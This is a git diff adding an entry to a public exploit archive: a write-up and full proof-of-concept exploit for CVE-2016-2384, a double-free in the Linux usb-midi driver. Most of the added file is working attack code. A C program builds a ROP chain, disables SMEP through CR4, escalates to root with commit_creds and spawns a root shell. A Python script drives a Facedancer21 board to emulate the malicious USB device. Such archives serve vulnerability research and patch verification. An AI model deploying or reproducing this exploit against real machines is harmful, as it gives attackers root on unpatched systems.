diff --git a/files.csv b/files.csv index e1fa86aca..e52fcc5ba 100644 --- a/files.csv +++ b/files.csv @@ -8980,7 +8980,8 @@ id,file,description,date,author,platform,type,port 41972,platforms/windows/local/41972.txt,"Gemalto SmartDiag Diagnosis Tool < 2.5 - Buffer Overflow (SEH)",2017-05-08,"Majid Alqabandi",windows,local,0 41973,platforms/linux/local/41973.txt,"Xen 64bit PV Guest - pagetable use-after-type-change Breakout",2017-05-08,"Google Security Research",linux,local,0 41994,platforms/linux/local/41994.c,"Linux Kernel 4.8.0 (Ubuntu) - Packet Socket Local Privilege Escalation",2017-05-11,"Andrey Konovalov",linux,local,0 -41995,platforms/linux/local/41995.c,"Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' & 'SO_RCVBUFFORCE' Local Privilege Escalation",2017-02-22,"Andrey Konovalov",linux,local,0 +41995,platforms/linux/local/41995.c,"Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' & 'SO_RCVBUFFORCE' Local Privilege Escalation",2017-03-22,"Andrey Konovalov",linux,local,0 +41999,platforms/linux/local/41999.txt,"Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation",2016-02-22,"Andrey Konovalov",linux,local,0 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139 diff --git a/platforms/linux/local/41999.txt b/platforms/linux/local/41999.txt new file mode 100755 index 000000000..3a2a83e7b --- /dev/null +++ b/platforms/linux/local/41999.txt @@ -0,0 +1,562 @@ +Source: https://xairy.github.io/blog/2016/cve-2016-2384 +Source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384 +Source: https://www.youtube.com/watch?v=lfl1NJn1nvo + +Exploit-DB Note: This requires physical access to the machine, as well as local access on the system. + +- - - + +This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7). + +The vulnerability can be exploited in two ways: + +- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64). + +- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP. + +A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo). + +It should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated. + +The vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer). + + +--- poc.c --- +// A part of the proof-of-concept exploit for the vulnerability in the usb-midi +// driver. Meant to be used in conjuction with a hardware usb emulator, which +// emulates a particular malicious usb device (a Facedancer21 for example). +// +// Andrey Konovalov +// +// Usage: +// // Edit source to set addresses of the kernel symbols and the ROP gadgets. +// $ gcc poc.c -masm=intel +// // Run N instances of the binary with the argument increasing from 0 to N, +// // where N is the number of cpus on your machine. +// $ ./a.out 0 & ./a.out 1 & ... +// [+] starting as: uid=1000, euid=1000 +// [+] payload addr: 0x400b60 +// [+] fake stack mmaped +// [+] plug in the usb device... +// // Now plug in the device a few times. +// // In one of the instances you will get (if the kernel doesn't crash): +// [+] got r00t: uid=0, euid=0 +// # id +// uid=0(root) gid=0(root) groups=0(root) + +#define _GNU_SOURCE + +#include + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include + +// You need to set these based on your kernel. +// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred +// is to boot your kernel and grep /proc/kallsyms for them. +// The easiest way to obtain the gadgets addresses is to use the ROPgadget util. +// Note that all of the used gadgets must preserve the initial value of the rbp +// register, since this value is used later on to restore rsp. +// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled. + +#define COMMIT_CREDS 0xffffffff810957e0L +#define PREPARE_KERNEL_CRED 0xffffffff81095ae0L + +#define XCHG_EAX_ESP_RET 0xffffffff8100008aL + +#define POP_RDI_RET 0xffffffff8118991dL +#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L +#define MOV_CR4_RDI_RET 0xffffffff8105b8f0L +#define POP_RCX_RET 0xffffffff810053bcL +#define JMP_RCX 0xffffffff81040a90L + +#define CR4_DESIRED_VALUE 0x407f0 + +// Payload. Saves eax, which holds the 32 lower bits of the old esp value, +// disables SMEP, restores rsp, obtains root, jumps back to the caller. + +#define CHAIN_SAVE_EAX \ + *stack++ = POP_RDI_RET; \ + *stack++ = (uint64_t)&saved_eax; \ + *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; + +#define CHAIN_SET_CR4 \ + *stack++ = POP_RDI_RET; \ + *stack++ = CR4_DESIRED_VALUE; \ + *stack++ = MOV_CR4_RDI_RET; \ + +#define CHAIN_JMP_PAYLOAD \ + *stack++ = POP_RCX_RET; \ + *stack++ = (uint64_t)&payload; \ + *stack++ = JMP_RCX; \ + +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); + +_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; +_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; + +void get_root(void) { + commit_creds(prepare_kernel_cred(0)); +} + +uint64_t saved_eax; + +// Unfortunately GCC does not support `__atribute__((naked))` on x86, which +// can be used to omit a function's prologue, so I had to use this weird +// wrapper hack as a workaround. Note: Clang does support it, which means it +// has better support of GCC attributes than GCC itself. Funny. +void wrapper() { + asm volatile (" \n\ + payload: \n\ + movq %%rbp, %%rax \n\ + movq $0xffffffff00000000, %%rdx \n\ + andq %%rdx, %%rax \n\ + movq %0, %%rdx \n\ + addq %%rdx, %%rax \n\ + movq %%rax, %%rsp \n\ + jmp get_root \n\ + " : : "m"(saved_eax) : ); +} + +void payload(); + +// Kernel structs. + +struct ubuf_info { + uint64_t callback; // void (*callback)(struct ubuf_info *, bool) + uint64_t ctx; // void * + uint64_t desc; // unsigned long +}; + +struct skb_shared_info { + uint8_t nr_frags; // unsigned char + uint8_t tx_flags; // __u8 + uint16_t gso_size; // unsigned short + uint16_t gso_segs; // unsigned short + uint16_t gso_type; // unsigned short + uint64_t frag_list; // struct sk_buff * + uint64_t hwtstamps; // struct skb_shared_hwtstamps + uint32_t tskey; // u32 + uint32_t ip6_frag_id; // __be32 + uint32_t dataref; // atomic_t + uint64_t destructor_arg; // void * + uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; +}; + +#define MIDI_MAX_ENDPOINTS 2 + +struct snd_usb_midi { + uint8_t bullshit[240]; + + struct snd_usb_midi_endpoint { + uint64_t out; // struct snd_usb_midi_out_endpoint * + uint64_t in; // struct snd_usb_midi_in_endpoint * + } endpoints[MIDI_MAX_ENDPOINTS]; + + // More bullshit. +}; + +// Init buffer for overwriting a skbuff object. + +struct ubuf_info ui; + +void init_buffer(char* buffer) { + struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192]; + struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0]; + int i; + + ssi->tx_flags = 0xff; + ssi->destructor_arg = (uint64_t)&ui; + ui.callback = XCHG_EAX_ESP_RET; + + // Prevents some crashes. + ssi->nr_frags = 0; + + // Prevents some crashes. + ssi->frag_list = 0; + + // Prevents some crashes. + for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) { + midi->endpoints[i].out = 0; + midi->endpoints[i].in = 0; + } +} + +// Map a fake stack where the ROP payload resides. + +void mmap_stack() { + uint64_t stack_addr; + int stack_offset; + uint64_t* stack; + int page_size; + + page_size = getpagesize(); + + stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1); + stack_offset = XCHG_EAX_ESP_RET % page_size; + + stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE, + MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if (stack == MAP_FAILED) { + perror("[-] mmap()"); + exit(EXIT_FAILURE); + } + + stack = (uint64_t *)((char *)stack + stack_offset); + + CHAIN_SAVE_EAX; + CHAIN_SET_CR4; + CHAIN_JMP_PAYLOAD; +} + +// Sending control messages. + +int socket_open(int port) { + int sock; + struct sockaddr_in sa; + + sock = socket(AF_INET, SOCK_DGRAM, 0); + if (sock == -1) { + perror("[-] socket()"); + exit(EXIT_FAILURE); + } + + sa.sin_family = AF_INET; + sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + sa.sin_port = htons(port); + if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) { + perror("[-] connect()"); + exit(EXIT_FAILURE); + } + + return sock; +} + +void socket_close(int sock) { + close(sock); +} + +void socket_sendmmsg(int sock) { + struct mmsghdr msg[1]; + struct iovec msg2; + int rv; + char buffer[512]; + + memset(&msg2, 0, sizeof(msg2)); + msg2.iov_base = &buffer[0]; + msg2.iov_len = 512; + + memset(msg, 0, sizeof(msg)); + msg[0].msg_hdr.msg_iov = &msg2; + msg[0].msg_hdr.msg_iovlen = 1; + + memset(&buffer[0], 0xa1, 512); + + struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0]; + hdr->cmsg_len = 512; + hdr->cmsg_level = SOL_IP + 1; + + init_buffer(&buffer[0]); + + msg[0].msg_hdr.msg_control = &buffer[0]; + msg[0].msg_hdr.msg_controllen = 512; + + rv = syscall(__NR_sendmmsg, sock, msg, 1, 0); + if (rv == -1) { + perror("[-] sendmmsg()"); + exit(EXIT_FAILURE); + } +} + +// Allocating and freeing skbuffs. + +struct sockaddr_in server_si_self; + +struct sockaddr_in client_si_other; + +int init_server(int port) { + int sock; + int rv; + + sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (sock == -1) { + perror("[-] socket()"); + exit(EXIT_FAILURE); + } + + memset(&server_si_self, 0, sizeof(server_si_self)); + server_si_self.sin_family = AF_INET; + server_si_self.sin_port = htons(port); + server_si_self.sin_addr.s_addr = htonl(INADDR_ANY); + + rv = bind(sock, (struct sockaddr *)&server_si_self, + sizeof(server_si_self)); + if (rv == -1) { + perror("[-] bind()"); + exit(EXIT_FAILURE); + } + + return sock; +} + +int init_client(int port) { + int sock; + int rv; + + sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (sock == -1) { + perror("[-] socket()"); + exit(EXIT_FAILURE); + } + + memset(&client_si_other, 0, sizeof(client_si_other)); + client_si_other.sin_family = AF_INET; + client_si_other.sin_port = htons(port); + + rv = inet_aton("127.0.0.1", &client_si_other.sin_addr); + if (rv == 0) { + perror("[-] inet_aton()"); + exit(EXIT_FAILURE); + } + + return sock; +} + +void client_send_message(int sock) { + int rv; + // Messages of 128 bytes result in 512 bytes skbuffs. + char sent_message[128] = { 0x10 }; + + rv = sendto(sock, &sent_message[0], 128, 0, + (struct sockaddr *)&client_si_other, + sizeof(client_si_other)); + if (rv == -1) { + perror("[-] sendto()"); + exit(EXIT_FAILURE); + } +} + +void destroy_server(int sock) { + close(sock); +} + +void destroy_client(int sock) { + close(sock); +} + +// Checking root. + +void exec_shell() { + char *args[] = {"/bin/sh", "-i", NULL}; + execve("/bin/sh", args, NULL); +} + +void fork_shell() { + pid_t rv; + + rv = fork(); + if (rv == -1) { + perror("[-] fork()"); + exit(EXIT_FAILURE); + } + + if (rv == 0) { + exec_shell(); + } + + while (true) { + sleep(1); + } +} + +bool is_root() { + return getuid() == 0; +} + +void check_root() { + if (!is_root()) + return; + + printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid()); + + // Fork and exec instead of just doing the exec to avoid freeing skbuffs + // and prevent some crashes due to a allocator corruption. + fork_shell(); +} + +// Main. + +#define PORT_BASE_1 4100 +#define PORT_BASE_2 4200 +#define PORT_BASE_3 4300 + +#define SKBUFFS_NUM 64 +#define MMSGS_NUM 256 + +int server_sock; +int client_sock; + +void step_begin(int id) { + int i; + + server_sock = init_server(PORT_BASE_2 + id); + client_sock = init_client(PORT_BASE_2 + id); + + for (i = 0; i < SKBUFFS_NUM; i++) { + client_send_message(client_sock); + } + + for (i = 0; i < MMSGS_NUM; i++) { + int sock = socket_open(PORT_BASE_3 + id); + socket_sendmmsg(sock); + socket_close(sock); + } +} + +void step_end(int id) { + destroy_server(server_sock); + destroy_client(client_sock); +} + +void body(int id) { + int server_sock, client_sock, i; + + server_sock = init_server(PORT_BASE_1 + id); + client_sock = init_client(PORT_BASE_1 + id); + + for (i = 0; i < 512; i++) + client_send_message(client_sock); + + while (true) { + step_begin(id); + check_root(); + step_end(id); + } +} + +bool parse_int(const char *input, int *output) { + char* wrong_token = NULL; + int result = strtol(input, &wrong_token, 10); + if (*wrong_token != '\0') { + return false; + } + *output = result; + return true; +} + +int main(int argc, char **argv) { + bool rv; + int id; + + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + return EXIT_SUCCESS; + } + + rv = parse_int(argv[1], &id); + if (!rv) { + printf("Usage: %s \n", argv[0]); + return EXIT_SUCCESS; + } + + printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid()); + + printf("[+] payload addr: %p\n", &payload); + + mmap_stack(); + printf("[+] fake stack mmaped\n"); + + printf("[+] plug in the usb device...\n"); + + body(id); + + return EXIT_SUCCESS; +} +--- EOF --- + + +---poc.py--- +#!/usr/bin/env python3 + +# A part of the proof-of-concept exploit for the vulnerability in the usb-midi +# driver. Can be used on it's own for a denial of service attack. Should be +# used in conjuction with a userspace part for an arbitrary code execution +# attack. +# +# Requires a Facedancer21 board +# (http://goodfet.sourceforge.net/hardware/facedancer21/). +# +# Andrey Konovalov + +from USB import * +from USBDevice import * +from USBConfiguration import * +from USBInterface import * + +class PwnUSBDevice(USBDevice): + name = "USB device" + + def __init__(self, maxusb_app, verbose=0): + interface = USBInterface( + 0, # interface number + 0, # alternate setting + 255, # interface class + 0, # subclass + 0, # protocol + 0, # string index + verbose, + [], + {} + ) + + config = USBConfiguration( + 1, # index + "Emulated Device", # string desc + [ interface ] # interfaces + ) + + USBDevice.__init__( + self, + maxusb_app, + 0, # device class + 0, # device subclass + 0, # protocol release number + 64, # max packet size for endpoint 0 + 0x0763, # vendor id + 0x1002, # product id + 0, # device revision + "Midiman", # manufacturer string + "MidiSport 2x2", # product string + "?", # serial number string + [ config ], + verbose=verbose + ) + +from Facedancer import * +from MAXUSBApp import * + +sp = GoodFETSerialPort() +fd = Facedancer(sp, verbose=1) +u = MAXUSBApp(fd, verbose=1) + +d = PwnUSBDevice(u, verbose=4) + +d.connect() + +try: + d.run() +except KeyboardInterrupt: + d.disconnect() +---EOF---